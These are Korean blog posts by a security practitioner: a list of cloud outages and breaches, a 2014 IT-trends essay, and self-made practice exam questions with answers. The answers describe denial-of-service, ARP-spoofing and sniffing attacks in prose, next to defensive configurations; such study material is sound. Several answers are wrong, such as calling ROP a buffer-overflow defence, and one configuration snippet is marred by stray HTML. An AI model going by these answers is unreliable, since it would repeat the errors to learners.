              일본 대지진의 영향으로 해저 케이블 손상으로 서비스 장애 발생
(8)아마존 - 4월 버지니아주 DC 전체 장애로 EC2 서비스 중단 및 오류 발생(11hr)
                  8월 벼락으로 인한 정전사고로 EC2 장애 발생
(9)애플 - MobileMe 마이그레이션에 따른 서버 과부하로 인한 iCloud 접속 장애 발생
(10)후지쯔 - 클라우드 서비스 DoS 공격으로 인한 장애 발생

※2011년 4월 21일 아마존의 EC2 장해로 인해 처음으로 클라우드 서비스의 신뢰도에 의문이 제기됨.
--> public cloud 서비스의 경우 제어권이 클라우드 컴퓨팅 사업자에게 있는데, 데이터센터의 장해이므로 사용자가 직접 확인이 불가능. 아마존은 8시간동안 장해 공지를 하지 않았고, 고객이 자체 장해 복구를 할 수 없었음.


※2011년 5월 소니의 네트워크를 해킹해 1억명 이상의 고객정보를 훔칠 때 해커가 아마존 클라우드 서비스를 이용. 해커는 EC2에 가명으로 가입해 가상 서버를 대여해 소니 플레이스테이션을 해킹함으로써, 클라우드 컴퓨팅서비스가 익명/허위가입 가능으로 인해 해커의 은닉공간으로 사용될 수 있다는 지적이 재기됨.


2012년

(11)KT - uCloud 서버 스위치 오동작, 스토리지 오동작으로 인한 서비스 장애
(12)FirstServer - 시스템 업그레이드 도중 오류 발생으로 인해 약 6000개 회사들의 데이터 손실
(13) 아마존 - 폭풍우로 인한 정전사고로 인한 EC2 장애(인스타그램, 넥플릭스, 핀터레스트, 헤로쿠 등 서비스 중단)
(14) 애플 - Mat Honnan이 애플이 관리적 부주의(사회공학적인 방법을 이용)를 이용해 iCloud의 인증 정보를 획득 후, "Find My ~" 툴을 이용해 타인의 개인정보 삭제 가능 공개
(15) DropBox - 일반 사용자 ID/PW로 DropBox에 침입하여 직원 계정에 있던 사용자 이메일 명단을 유출, 사용자들에게 스팸메일 발송. DropBox에서 해킹 사실을 인정하고 인증 강화.

※ 2012년 8월 CRISIS라는 악성코드가 Adobe Flash Installer를 가장하여 MAC OS, Windows, Windows Mobile 상의 VMWARE Image에 직접 악성코드를 삽입 시도, 가상화 공간에서의 악성코드 감염 가능성 확인.

※ 2012년 6월 링크드인, 8월 드랍박스의 해킹 소식에 클라우드 컴퓨팅 서비스 사용자들이 자신의 정보에 대한 보안 우려.

2013년
(16) Evernote - 해킹으로 인해 사용자명, 전자메일 주소, 암호화된 패스워드가 노출되어 5000만명의 사용자 대상으로 강제 패스워드 리셋 시킴.(2월)

※ 2013년 3월에는 해커가 Evernote를 악성코드의 C&C 서버로도 이용하여 공격 인프라에 사용함, 악성코드명 BKDR_VERNOT.A(TrendMicro)


4. 클라우드 서비스 보안 관련 기타 참고 문서들

1) KISA, 방통위, 클라우드 서비스 정보보호 안내서

2) 방통위, 클라우드 SLA가이드 및 개인정보보호수칙 자료(10.5)

3) NIST, Guidlies on Security and Privacy in Public Cloud Computing, SP 800-144(2011.12)

4) NIST, Guide to Security for Full Virtualization Technologies, SP 800-125 (2011.01)

5) CSA, Top Threats to Cloud Computing (2010.03)

6) ITU-T FG Cloud, Cloud Security(2011.12)




2014/01/09

2014 IT trend & implications


2013년도 말부터 현재까지 2014년의 IT 동향에 대한 예측 보고서가 여기저기서 많이 나왔는데, 읽어보다 보면 각자의 사고 방향성 및 폭에 따라 다를 뿐 거의 언급되는 대부분의 키워드들은 비슷한 것 같다.

뭐 언급되는 키워드들은 Social, Mobile, Cloud computing, Wearable Computer, IoT(Internet of Things), Big Data, Security(Esp. Privacy)... 정도?

실제로 발전해 나가는 IT 방향성을 놓고 보았을 때, 무선을 통한 접속량이 이미 유선을 통한 접속량을 넘어선 지 오래이고, (스마트폰 내 탑재된 기능으로 인해 더 그런듯) 좀 더 smart한 서비스를 원하는 소비자들을 위해, 여러 모바일 기기간의 데이터 sharing(Cloud Computing)및 대용량 데이터 저장은 이제 필수적인 서비스가 되어가고 있고, 사용자들의 사용과 보안 이슈 등이 덧붙여져, 향후 private/기업 클라우드 컴퓨팅이 점점 더 강세가 되어갈 것이다. 또한 사용자들의 사용 로그(via Social) 분석을 통한 좀 더 Smart 서비스 제공을 위해, 사용자들의 모든 정보들을 분석하여 서비스를 제공하려고 할 텐데, 이와 같은 대용량 데이터의 빠른 분석(Big Data) 기술 발전과 더불어서, 아마 현재는 개인정보라 보지 않았던 사용자들의 여러가지 정보들의 노출로 인한 개인정보보호 (Privacy) 이슈도 증가할 것이라고 본다.

(여담이지만, 나 모르게 내가 휴대폰에서 검색한 키워드, 사용한 서비스, 각 시간대 별 나의 위치정보, 웹 사이트, 사용 시간 등의 노출이 서로 엮여가며 장기간 쌓여지고 분석이 되면... 뭐 구글 같은데서는 나에 대해 거의 모든 것을 다 알 수 있지 않을까. -_-; 사실 그런 이유로 나는 편의성이고 뭐고 간에, 폰에서는 자동으로 저장되게 되어 있는 위치정보등은 지도 등의 앱 빼고는 다 꺼놓고 있고, 웹은 크롬 브라우저의 secret mode를 이용하고 있다. -_-)

또한 현재 스마트폰, 스마트TV, 스마트 Car, google glass 정도였던 제품들이 아마 점점 더 많은 모바일 가전 제품으로 발전해 나갈 것이다. (IoT) 실제로 최근에 본 뉴스 중에서는 smart underwear(from Mashable)라는 것도 나왔더라. 스마트 속옷이 도대체 무슨 일을 해 줄지는 상상에 맡긴다. (여성용 속옷에 특정 기능을 추가하고, 그 실행 버튼은 남친이 가지고 있... -_-;; )

그리고 모바일에 대한 접근이 WIFI뿐 아니라 추가적인 근거리 무선 통신인 RFID, Bluetooth, NFC, .. 등을 이용한 다양한 융합 서비스가 나오게 될 것이며(Mobile),물론 이와 같은 IoT 융합 서비스가 이제 막 개발되려는 단계이기 때문에 아마 이런 서비스 플랫폼을 잡기 위한 경쟁이 치열할 것이다.

현재까지는 구글의 안드로이드가 IoT 쪽에서는 모바일 플랫폼으로써의 양적인 우위를 점하고 있지만, 보안 이슈가 존재(심각!)하기 때문에 충분히 다른 형태의 플랫폼이 나타날 수 있고...
(잘 알려진 안드로이드이기 때문에, 만약 공격자가 해당 안드로이드 플랫폼의 0 day 취약점을 발견해서, 안드로이드 플랫폼이 탑재된 Smart Car를 운전중인 사람에게 특정 악의적인 패킷을 날려 차 사고를 낼 수도 있을지 모른다...;; 덜덜덜)
그 외에 서비스 측면에서는 페이스북 등의 글로벌 소셜 플랫폼, 라인이나 위챗 등의 모바일 메신져 플랫폼등도 많이 사용되고 있으니, 이에 대한 경쟁도 심화되겠지.

무엇보다 기술의 발전들에 앞서 중요한 부분은... 이제 앞으로는 사람들의 일상생활에 IT가 깊숙히 관여하게 될 것이기 때문에(IoT), 신규 플랫폼들이나 서비스들에 대한 보안이 무척이나 중요한 화두가 될 것이 분명하다. 그리고 또한 사용자들이 많은 IT기기를 생활에서 사용하게 되면서, 어디까지의 나의 개인 정보를 나의 편의를 위해 서비스 제공자에게 허용해야 할 것인가... 그리고 자신 모르게 수집해 간 나의 개인정보를 국가나 더 상위의 Big Brother 누가 어디까지 나를 관찰하고 감시할 것인가... 그 정보들이 해커에게 가면 어떠한 새로운 위협 요소가 생겨날 것인가... 에 대한 추가적인 고민이 필요한 시점이라고 생각한다.


+. 발전 기술이나 새로운 부분이 아니기 때문에 적지 않았지만.. 국내의 보안(해킹과 방어)의 입장에서 보면, 아마도 사회 infra 이나 주요 site에 대한 해킹 시도(APT, DoS 공격) 역시 계속 될 것 같고, (북한이 배후라면 2014년이라고 계속 안할리가 없음) 인터넷이 세계적으로 잘 발달되었고, 이미 해킹 인프라가 탄탄하게 구축되어 있기 때문에 역시 일반 사용자들 PC에 대한 공격을 통한 금전적 이득을 취하는 것 역시 계속 될 것이고, (특히 게임 아이템 거래 등의 2차 작업을 하다, 금융 서비스를 이용한 바로 돈을 갈취하는 공격 맛을 보았기 때문에 금융권 공격은 계속 될 듯) 아마도 공격은 PC에서 스마트폰으로 점점 확대되어 갈게 뻔하다. 또한, 뭐... 오늘도 뉴스에 나왔지만, 외부에 의한 공격 뿐 아니라 내부자(혹은 협력사 직원 등)에 의한 고객정보 유출 등의 이슈도 계속 될 것이다.

그나저나 보안이라는 분야는 참 재미있는게, 할 수록 점점 더 할게 많아진다. 기술 발전이 엄청나게 다양해 지고 있고, 또 각각의 분야에서 엄청 깊숙한 기술력을 요하도록 변하고 있는데.. 보안이라고 하는 것은 정말 엄청나게 다양한 분야를 모두 다 관여해야 하고, 또 한가지 깊은 기술에 대한 보안 뿐 아니라 다른 분야들까지 모두 다 바라봐야만 신규 융합산업의 *위험요소*를 바라볼 수 있으니......

어째 처음 보안을 처음 접했을 때.. 보안의 특성상 개발, 운영, Compliance(법률 및 규정), 인력관리(심리), 거기에 해킹/보안 기술까지... 하면 할수록 너무 알아야 하고, 배워야 할 게 많아서 좀 당황했었는데, 11년이상 지난 지금에도 뭘 좀 알았다는 느낌보다는 해야 겠다고 생각되는게 한 천만배쯤 늘어난 것 같다. (뭐, 아직도 할 게 많으니 좋은 거라고 생각하자... ㅎㅎ)

2013/12/08

정보보안 기사 준비 #3 (Application)

1. 인터넷에서 컴퓨터 간의 파일을 교환하기 위한 표준 프로토콜로는 (   A   )가 있다.  이 (  A  ) 모드에는 (  B   ) 모드와 (  C  ) 모드가 있는데,  (  B  ) 모드는 데이터 연결을 할 시 서버에서 데이터 포트를 지정하며, (   C   ) 모드는 데이터 연결을 할 시 클라이언트에서 데이터 포트를 지정한다. (  B  ) 모드의 경우 서버에서 지정하는 포트는 (  D  ) 이며, (  C  )모드의 경우 클라이언트에서 지정하는 포트는 (  E  ) 이고, 이 때 서버에 접속되는 포트는  (  F  ) 이다.



2. FTP 서버로부터 자료를 정상적으로 받지 못해 전문가에게 도움을 요청하였더니, Stateful Inspecion 방화벽 설치를 추천하였고, 그 이후 서비스가 가능하게 되었다.
1) FTP의 진행절차 중 어느 단계까지 수행이 되다가 막혔으며, 이유가 무엇인가? (Active mode)
 2) Stateful Inspection Firewall을 이용한 경우 정상화가 된 이유는 무엇인가?
 3) Passive mode인 경우는 어떻게 되는가?




3. 소프트웨어의 정적 분석에 주로 이용되는 소프트웨어 보안약점 진단가이드상에 기재되어 있는 소프트웨어 보안 약점의 7가지 분류에 대해 적고, 각각에 대해 자세히 서술하시오.



4. OWASP TOP10에 해당하는 보안 취약점 10가지에 대해 적고 각각에 대해 설명하시오.



5. 은행을 대리해 서버가 있는 곳, 또는 사용자 ID와 패스워드를 사용하는 것보다 좀 더 안전한 사용자로부터 인증이 필요한 상황에서 보다 많이 사용하며, 웹 보안에 적용되는 프로토콜로, 웹에서만 적용이 되며 서버와 클라이언트 각각 인증서가 필요하고, 메시지 단위로 암호화를 하는 보안 프로토콜은 무엇인가?



6. 웹 서비스 구조로는 ( A ), ( B ), ( C ) 라고 하는 3가지 XML 기반의 공개 표준을 바탕으로 하고 있다.

( A )는 XML과 HTTP들을 기본으로 한 컴퓨터에 있는 데이터나 서비스를 호출하기 위한 프로토콜로, 서비스 매니저, 전개된 서비스 리스트, XML Translator라는 3개의 엔티티가 있다.

( B )는 당 서비스에 대한 상세한 설명이 포함되어 있는 서비스 기술서로, 서비스 공급자가 기반 프로토콜이나 인코딩과는 무관하게 기본 요청 포맷을 시스템에 제공할 수 있는 간단한 방식이다.

( C )는 IBM, Ariva, MS에 의해 설립되었으며, 웹 서비스를 등록하고 검색할 수 있는 일정의 레지스트리와 관련된 표준으로, 네트워크 전송 레이어와 ( A ) 기반 XML 메시지 전송 레이어 상에서 구현된다.



7. 데이터 구조도가 트리 형태로 이루어져 있으며, 부모 자식 관계가 1:n 관계이며, 높은 데이터 처리의 효율성, 신축성 및 유연성 부족, 데이터 중복성의 특징이 있는 것은 어떤 데이터 모델인가?



8. 지정된 메모리의 양보다 더 많은 양의 데이터를 입력할 때 발생하는 것으로, 스택에서 리턴 어드레스를 수정하여 프로세스 흐름을 조정하도록 하는 공격 방법은 무엇인가?





정보보안기사 준비 - 예상문제 #2 (Security)

아래 문제는 정보보안기사 실기시험을 준비하면서 제가 임의로 만든 예상문제 입니다.


1. icmp를 이용한 공격 방법 및 이에 대한 대응방안에 대해 아는대로 기술하시오.


2. 3DES의 암호화 및 복호화 방식에 대해 설명하시오.


3. ARP 스푸핑 공격이라는 것이 무엇이며, 어떻게 공격을 하는지 아래의 사항을 가정하여 설명하고,  ARP 스푸핑을 막기 위한 방안을 서술하시오.
   Alice (192.168.1.1, MAC주소 : A)
   Bob (192.168.1.2, MAC 주소 : B)
   Cracker (192.168.1.3, MAC주소 :C)


4. 바이러스, 웜, 트로이 목마, 스파이웨어, 랜섬웨어, 누킹 소프트웨어, 다운로더, 드라퍼에 대해 설명하시오.


5. 다음 포렌직 절차 빈칸에 적절한 단어를 넣으시오.


 준비 --> (   A    ) --> (   B   ) --> (   C   ) --> 조사/보고서


6 IDS(시스템 침입탐지 시스템)의 탐지 방법에 따른 2가지 분류를 적고, 각각에 대해 설명하시오.


7. 버퍼 오버플로우 공격이 무엇인지 간략히 서술하고, 이를 막기 위한 방법에 대해 아는대로 서술하시오.


8. Format String 해킹 공격에 대해 설명하시오.


9. 유닉스 내에서 실행되는 프로세스 중 임시 파일을 생성하는 프로그램에서 자주 사용하는 것으로, 임시 파일을 만들어 쓰고 끝났으면 지우는 과정에서 쓰기 바로 직전의 경쟁조건을 이용하여 원하는 파일에 원하는 내용을 집어 넣는 방식의 해킹 기법을 무엇이라고 하는가? 이 공격을 막기 위핸 대응방안을 서술하시오.


10. DoS 공격에 대한 대응으로 리눅스 서버에 PAM을 이용한 리소스 제한을 하는 방법


11. IPSec의 보안 기능(기밀성, 무결성, 인증, 재전송 차단)에 대해 프로토콜 구조와 함께 설명하시오.


12. 스니핑이 가능한 방법을 열거하고 설명하시오.


13. 생일역설이론에 의하면 (     ) 비트 이상인 해쉬함수가 안전하다.


14. PKI의 구성요소 4가지를 적으시오.


15. 일반적인 접근통제모델 중 참조모니터(Reference Monitor)에서 사용되는 3가지 모델은 다음과 같다.
(   A    )는 주체의 레이블과 주체가 접근하고자 하는 개체의 보안 레이블을 비교하여 보안 정책에 합당한 접근통제 규칙에 의해 접근을 통제하는 방법으로, 모든 주체 및 객체에 대하여 일정하며 어느 하나의 주체/객체 단위로 접근제한을 설정할 수 없다.
    (     B    )는 주체나 그들이 소속되어 있는 그룹들의 ID(신분)에 근거하여 객체에 대한 접근을 제한하는 접근통제 방식이다. 모든 주체 및 객체에 대해 일정하지 않고 어느 하나의 주체/객체 단위로 접근제어 설정을 할 수 있다. 트로이목마 공격에 취약하다.
    (     C    )는 직무를 기반으로 하는 접근통제방식으로, 권한을 사용자에게 직접 부여하지 않고 그룹에 부여하고, 사용자를 그룹별로 구분하여 그 그룹이 수행하여야 하는 역할에 따른 접근제어 설정을 하는 방식이다.


16. Syn Flooding 공격에 대한 방어 대책에 대해 간략히 서술하시오.


17. 7.7 DDoS의 공격 방식에 대해 간략히 서술하시오.


18. HTTP Get Flooding 공격에 대한 대응방안을 서술하시오.


19. R.U.D.Y 공격과 Slowloris 공격 및 방어 방법에 대해 설명하시오.


20. TCP-Wrapper의 원리와 사용 방법에 대해 설명하시오.


21. 악성코드 유포지에 대한 접속을 막는 방법의 하나로, 해당 악성사이트의 DNS에 대해 악성 아이피가 아닌 안전한 내부 아이피를 return 하는 방식의 악성 사이트 접속 차단 서비스를 제공하는 KISA 서버 이름은?




답--------------------------------------------------------------------------
1.
(1) ping of death
 : ICMP 패킷의 크기를 정상적인 크기보다 아주 크게 만들어 Fragmented Packet과 비정상적인  OOB(Out of Band)를 함께 대량으로 전송하여 시스템 자원을 소모 시키는 공격이다.
대응방안으로는 필요하지 않은 경우 ICMP를 막고, 필요한 경우 반복적으로 들어오는 일정 수 이상의 ICMP  패킷은 무시하도록 설정을 한다.(rate-limit를 이용) 최근 OS에는 이와 같은 사항은 모두 패치되어 있다.
(2) Smurf
  : 공격자의 Source IP를 피해자의 IP로 위조하여 특정 네트워크의 브로드캐스트 주소로 ICMP echo request를 날리는 공격이다. 이 경우 네트워크에 속하는 모든 컴퓨터들이 위조된 피해자 IP로 ICMP echo reply를 보내도록 하여 네트워크 대역폭을 소모시킨다.
대응방안으로는 네트워크 장비에서 브로드캐스트 주소로 ICMP를 보내지 못하도록 설정하거나 위조된 아이피를 가지고 들어오지 못하도록 내부 네트워크 대역이 아닌 IP가 src가 되지 못하도록 패킷을 필터링한다.
(3) Land Attack
  : src ip를 피해자의 ip로 위조하고, src ip와 dst ip를 동일하게 설정하여 패킷을 보내는 것으로, 피해 시스템에서 looping을 돌게 하여 시스템 자원을 소모시키는 공격이다.
 대응방안으로는  src ip와 dst ip가 동일한 패킷은 차단하도록 방화벽이나 라우터, 스위치 등에서 접근제어 설정한다.


2.
암호화는 C= Ek1(Dk2(Ek3(P))), 복호화는 이 반대인 P=DK3(Ek2(DK1(C)))로 이루어진다.
이때 K1을 K3와 같게 사용하기도 한다.

                           with K1               with K2                with K3
Plaintext P ---> 암호화(   )  ----> 복호화 (  ) ----> 암호화 (    ) --> Encrypted msg C


3. ARP 스푸핑은 같은 네트워크에 존재하여 ARP 패킷을 받을 수 있는 환경에서만 가능하다.  (HUB 등으로 연결된 경우는 가능하지만, Switch로 연결되면 불가능함. 이유는 브로드캐스트 주소로 요청하고 응답하기 때문.) 즉, 공격자 Cracker는 Alice와 Bob의 ARP request들을 보고 있다가, 자신의 MAC주소를 Alice와 Bob의 아이피에 맞는 MAC주소라고 위변조한 ARP Reply를 보내서 ARP Table을 변조한다. 이렇게 하면, Cracker는 Alice나 Bob에게 가려는 데이터 패킷을 중간에서 가로채 스니핑할 수 있게 된다.
 ARP스푸핑의 탐지방법은 arp -a 등의 명령어로 arp 테이블을 확인하여 동일한 아이피인데 MAC 주소가 여러개이거나, 같은 MAC주소가 여러개 아이피에 설정되어 있는지 확인하면 된다.
ARP 스푸핑에 대한 대처방법으로는 스위치 등 네트워크 장비에서 port security를 걸거나, ARP inspection을 설정하여 MAC 변조를 막거나, VLAN등을 나눠서 관리하도록 하며, 같은 네트워크에서만 공격이 성공하므로 외부에서 내부 네트워크로의 침투를 막고, 중요한 서버의 ARP 테이블은 static하게 정해 놓을 수 있다. (예. arp -s 192.168.1.1 A)


4.
바이러스 - 자신 또는 자신의 변형코드를 실행하는 프로그램으로, 숙주가 반드시 필요하다.
웜 - 네트워크나 전자메일을 통해 전송되며, 자기 증식이 가능하다.
트로이 목마 - 바이러스나 웜과 달리 자기 증식 능력이 없으며, 스스로를 유틸리티로 위장하여 배포되어 피해자 모르게 원격 제어, 정보 유출, 시스템 파괴 등의 통로로 쓰인다.
스파이웨어 - 사용자가 동의 없이 설치되어 컴퓨터 정보를 수집하고 전송하는 프로그램이나 트로이 목마와 같이 은폐성을 띄지 않는다.
랜섬웨어 - 내부 중요 문서 등을 암호화 하고, 이를 해제해 주는 조건으로 돈을 요구하는 형태의 프로그램
누킹소프트웨어 - 레지스트리, 키, 파일시스템을 훼손하여 블루스크린을 띄우는 등의 시스템 불능상태로 만드는 프로그램.
다운로더 - 그 자체적으로 악성행위를 하지는 않지만, 악성코드를 다운로드 해 주는 역할을 하는 프로그램
드라퍼 - 악성코드 등을 피해 시스템에 떨구는 역할을 하는 프로그램.


5. A - 증거 획득, B -보관/이송, C - 분석


6. 침입탐지 시스템의 탐지 방법은 <오용 탐지>와 <이상 행위 탐지>의 두 가지로 나눌 수 다. 오용탐지는 일반적인 공격을 기반으로 한 침입 규칙을 비교하여 분석하여 침입 여부를 판단한다. 따라서 지속적인 침입 탐지규칙에 대한 업데이트가 필요하다. 이상행위탐지는 일반적인 행동을 기반으로 하여 이상 행위 여부를 판단하는 것으로, 일반적이 아닌 행동을 하는 것을 모두 이상행위로 탐지하기 때문에 false positive 확률이 높아 정확성이 떨어진다.


7. 버퍼 오버플로우란 취약한 개발을 통해 입력한 버퍼의 값이 스택이나 힙의 적절한 공간을 넘쳐 흘러 리턴되는 주소지를 공격자가 원하는 곳으로 변경시키는 방법을 통해 공격자의 쉘코드를 실행시키는 공격 방식이다.
버퍼 오버플로우를 막기 위해서는 ROP(Return Oriented Programming) 방식을 이용하여 악의적인 코드의 주입을 방해하는 방식을 주로 이용한다. 그 예로, DEP(Data Execution Protection), NX(Not Executable), ASLR(Address Space Layout Randomization), Stack Canary(Stack 내에 Canary 값을 두어 함수가 리턴되었을때의 Canary 값이 바뀌었는지 확인하는 방식) 등의 방식이 있다.


8. 프로그램 개발 시 정확한 포맷 스트링을 사용하지 않았을 경우 이를 이용하여 임의의 명령어를 수행하거나 UID를 바꿀 수 있는 공격으로, 출력문 등에서 올바르지 못한 방법을 악용하여 공격자가 실제 메모리 번지를 원하는 값으로 변경하거나 시스템 루트권한을 획득하는 방식의 공격이다. 대응책으로 SetUID 제거 등이 있다.


9. Race Condition (경쟁조건)
   1) 임시파일 생성을 가능한 막는다.
   2) symbloic link를 만드는 것을 막는다. (unlink() 불가능하게)
   3) create()와 Open()의 구분을 명확히 하여, 파일 생성/쓰기가 안되도록 한다.
   4) umask는 022 정도로 유지하여, 다른 유저의 write permission을 막는다.


10. 시스템 자원을 너무 많이 사용하는 특정 유저나 프로그램의 무한루프 방지를 위해 다음과 같이 프로세스 수, 메모리 사용량등에 대해 제한 설정을 합니다. 먼저 vi에디터를 이용하여 /etc/pam.d/login을 열어 사용자 로그인 시 적용되도록 /lib/security/pam_limits.so 및 pam_selinux.so를 넣어주고, /etc/lib/security/pam_limits/so 파일을 열어 특정 계정, 혹은 모든 유저에 대해 사용가능한 프로세스 수 제한, 동시 접속 수 제한, 사용 가능 메모리 제한 설정을 한다.

[root@test] # vi /etc/pam.d/login
#pam_selinux.so open should be the last session rule
session      required    pam_selinux.so open
session      required    /lib/security/pam_limits.so


[root@test] # vi /etc/security/pam_limits.so
*                  soft         core                0                         <-- core="" p="" x="">*                  hard         rss                  10000                   <-- 5m="" p="">@hackers     soft         nproc              20                        <- 20="" br="">
@hackers     hard        nproc              30                        <- 30="" br="">
*                  hard        maxlogins         10                        <- 10="" p="">
* : 모든 유저
@ hackers : 해당 hackers라는 그룹에 속하는 유저
hard : 절대 한계를 넘을 수 없음


11.IPSec은, 본질적으로 데이터 송신자의 인증을 허용하는 인증 헤더 (AH)와, 송신자의 인증 및 데이터 암호화를 함께 지원하는 ESP (Encapsulating Security Payload) 두 종류의 보안 서비스를 제공한다. AH는 무결성, 데이터 발신처 인증, 재전송 공격으로부터 보호하고, IP Spoofing 공격에 대해서도 방어가 된다. 하지만 AH의 Payload는 암호화 되지 않는다.

반면 ESP에서는 공유 정보를 이용하여 패킷을 암호화하여 기밀성을 보장한다.

IPSec에서의 키 관리 프로토콜은 IKE, ISAKMP 등이 있다. 통신 상호 개체간의 연결-관계를 뜻하는 SA(Security Association)에서는 SPI(AH, ESP에서 SA와의 연관을 위한 구분자), 목적지 주소, 사용할 보안 프로토콜이 중요하다.

IPSec의 운용모드는 Tunnel mode와 Transport mode가 있는데, Tunnel mode의 경우 패킷 전체를 암호화하고 앞에 새로운 header를 붙여 두 네트워크의 gateway-gateway간 연결을 해 주는 방식이며, Transport mode의 경우 IP헤더는 그대로 이용하며 데이터 부분만 암호화 하여 전송하는 방식으로 Host-Host간 연결에 주로 쓰인다.


12.
(1) switch jamming
- switch의 ARP 캐쉬 테이블을 모두 채워 switch가 아닌 hub처럼 동작하게 강제적으로 만드는 방법. ARP 캐쉬 테이블을 채우기 위해 맥주소를 변경하면서 ARP 패킷을 계속 전송하여 ARP 캐쉬 테이블을 넘치게 한다.

(2) ARP Spoofing
- 공격자의 맥 주소를 스니핑 하려는 PC의 맥 주소로 변경하여 ARP를 뿌려 스니핑을 하는 기법

(3) ARP Redirection
자신의 MAC 주소를 스위치 MAC 인것처럼 broadcast ARP 패킷을 전송하여 모든 호스트와 스위치 사이의 트래픽을 스니핑하고, 이후 IP forwarding 기능을 이용해 사용자들이 눈치채지 못하게 하는 방법

(4) ICMP Redirection
호스트들에게 위조된 ICMP Redirection 메시지를 보내 공격자의 호스트로 패킷을 보내도록 하는 방법. (ICMP Redirection 메시지는 여러개의 라우터가 있을때 정상적으로 패킷을 받기 위해 전송)

(5) 스위치 모니터 포트로 스니핑.


13. 160


14. CA(인증기관), RA (등록기관), 사용자, 디렉터리


15. MAC (강제적 접근 통제)
     DAC (임의적 접근 통제)
     RBAC (역할기반 접근 통제)


16. 백로그큐를 늘려주고, Syncookie 설정을 하고, 사설 아이피와 같은 비정상 아이피에 대해서는 사전에 방화벽에서 차단해 주고, First syn drop 방식 사용


17. HTTP Get flooding과 UDP Flooding, ICMP Flooding을 혼합한 형태의 DDoS 공격으로 웹 서버의 연결 자원 고갈과 더불어서 네트워크 대역폭 자원의 고갈을 동시에 일으킨 공격방법이다. 이중 Get flooding 공격에서 루트 페이지에 대한 get 요청을 2회 수행하면서, cache-control 필드를 no-store로 설정하여 패킷을 전송하였음.
그동안은 주로 네트워크 회선의 대역폭 고갈의 DDoS가 많았기 때문에 , L7 레벨에서의 DDoS 공격에 대해 빠른 방어가 어려웠음.


18. 먼저 공격패킷의 패턴을 추출해 내서 해당 패턴에 대한 차단을 진행해야 한다. 그리고 HTTP Get Flooding 공격은 이미 TCP 3-way-handshake가 끝난 이후이므로, src 아이피에 대한 위변조가 어려우므로, 공격에 쓰이고 있는 src 아이피를 찾아내어 방화벽에서 차단해 준다. src 아이피를 찾아내기 위한 방법으로 공격하는 페이지를 특정 페이지로 302 리다이렉션 처리 하는 경우, 웹 브라우저로 접속하는 정상 사용자의 경우 리다이렉트 된 페이지로 접속하지만, 좀비PC의 BOT 등은 임시로 이동된 페이지로 요청하지 않으므로 아이피 리스트를 비교하여 추출할 수 있다.


19. R.U.D.Y는 Are You Dead Yet?의 약자로 http post 데이터를 보낼때 content length를 엄청 크게 잡은 이후 실제 데이터를 작게 보내는 패킷을 여러개 보내, 해당 content length 만큼의 데이터를 받을때까지 대기하는 웹 서버의 자원을 고갈시키는 형태의 공격이다.
 Slowloris 공격은 malformed http header를 보내어 웹 서버의 자원을 고갈시키는 방법으로, http 헤더의 끝이 \r\n\r\n으로 끝나야 하는데, \r\n 만 있는 상태로 패킷을 보내, 서버가 남은 http 헤더를 기다리며 커넥션을 유지하여 웹 서버의 자원을 고갈시키는 방법이다.
R.U.D.Y나 Slowloris 공격의 경우 공격 패킷에 특정한 패턴이 있으므로 해당 패턴에 대한 차단 및 timeout 시간을 설정하여 무한정 기다리지 않고 연결을 종료하도록 하고, content-length에 대한 제한 설정을 하며, 특정 접속자가 동시 접속을 하는 것에 대한 임계치를 설정하거나, 웹 서버의 부하를 줄이기 위해 웹 서버 앞단에 캐슁서버를 두어서 커넥션 유지 시간을 설정해 차단하는 것도 방법이다.


20. TCP-Wrapper는 xinetd 데몬에 의해 구동되는 네트워크 서비스들에 대한 접근통제, 인증, 로깅 등을 제공하는 서비스로 /etc/hosts.allow와 /etc/hosts.deny 에 지정한 접근통제 정책에 의거해 접근통제를 제공하며, /etc/xinetd.conf에 tcpd를 통해 서비스가 되도록 내용을 수정하여야 한다. 또한 로그를 남기기 위해서는 /etc/syslog.conf에 설정을 한다.


21. DNS 싱크홀 서버





2013/12/06

정보보안기사 준비- 예상문제 #1 (OS)

아래의 문제는 정보보안기사 실기 시험 준비를 위해서 제가 임의로 낸 문제입니다.


1. 교착상태(deadlock)의 4가지 발생 조건에 대해 서술하시오.


2. UNIX의 파일 시스템에는 (   A  ), (   B  )등이 있으며, 파일시스템에 필요한 블록에는 부팅 시 필요한 코드를 저장하고 있는 (   C  ) 블록, 전체 파일 시스템에 대한 정보를 저장하고 있으며, logical volume의 4096 바이트 오프셋에 위치하며 크기가 4096바이트인 (  D   ) 블록, 각 파일이나 디렉터리에 대한 모든 정보를 저장하고 있으며, 파일 시스템 내에 있는 개개의 파일을 관리하기 위한 데이터 구조를 의미하는 (   E  )블록,  마지막으로 디렉터리 별로 디렉터리 엔트리와 실제 파일에 대한 데이터가 저장된 블록인 데이터 블록이 있다.
이 중 (  E  ) 블록에 저장되는 정보 중 (   F  )는 저장되지 않으며,  (   F   )와 (  E  ) 번호는 디렉터리 안에 저장된다.


3. Unix Run Level이란 부팅 혹은 재부팅을 할 경우 선택되는 모드로, (  A  ) 명령으로 각 레벨 별 모드를 선택할 수 있다. 이중 레벨 0은 시스템 종료 상태를 의미하며, CLI 단독 사용자 모드는 레벨 (  B  ), 네트워크가 되지 않는 다중 사용자 모드는 레벨 (  C  ), GUI 환경인 경우는 레벨 (  D  ) 이다.


4. 유닉스 시스템에서 디렉터리 및 파일이 생성되는 기본 퍼미션을 정하는데 사용하는 명령어는 (   A   )로, 시스템의 기본 설정의 (   A  )는 일반적으로  (   B  ) 이고, 퍼미션은 디렉터리일 경우 (    C    ), 파일일 경우 (      D      ) 가 된다.
개별적으로 디렉토리 및 파일의 퍼미션을 변경해주는 명령어에는 (   E   )가 있다.


5. 유닉스 시스템에서 특수 권한을 설정하는 방법에 sticky bit, SetUID, SetGID 가 있다.
위의 3가지 특수권한을  설정하는 명령어와,  find를 이용하여 특수권한을 가진 파일을 검색하는 명령어를 적으시오.


6. 유닉스 시스템에서 다음의 설정 관련 파일의 위치를 적으시오.
 (1) DNS를 사용하기 전 자체적으로 호스트 이름과 IP 주소를 정의해 놓은 파일
 (2) 네트워크의 이름과 각각의 인터넷 주소를 포함하고 있는 파일
 (3) 호스트의 이름이 들어가져 있는 파일
 (4) TCP/IP의 서비스와 그 이름을 사용하는 포트 번호, 하부 프로토콜인 전송 프로토콜의 종류가 정의되어 있는 파일
 (5) DNS 시스템과 검색 이름이 등록되어 있는 파일
 (6) 데몬 프로그램이 초기화 될 때 사용하게 될 프로세스를 정의하여 인터넷 환경을 관리할 때 쓰이는 파일
 (7) 사용자 계정에 관련된 파일로 LoginID : x : UID : GID : Comment : Home-Directory : Login-Shell의 순서로 저장된 파일
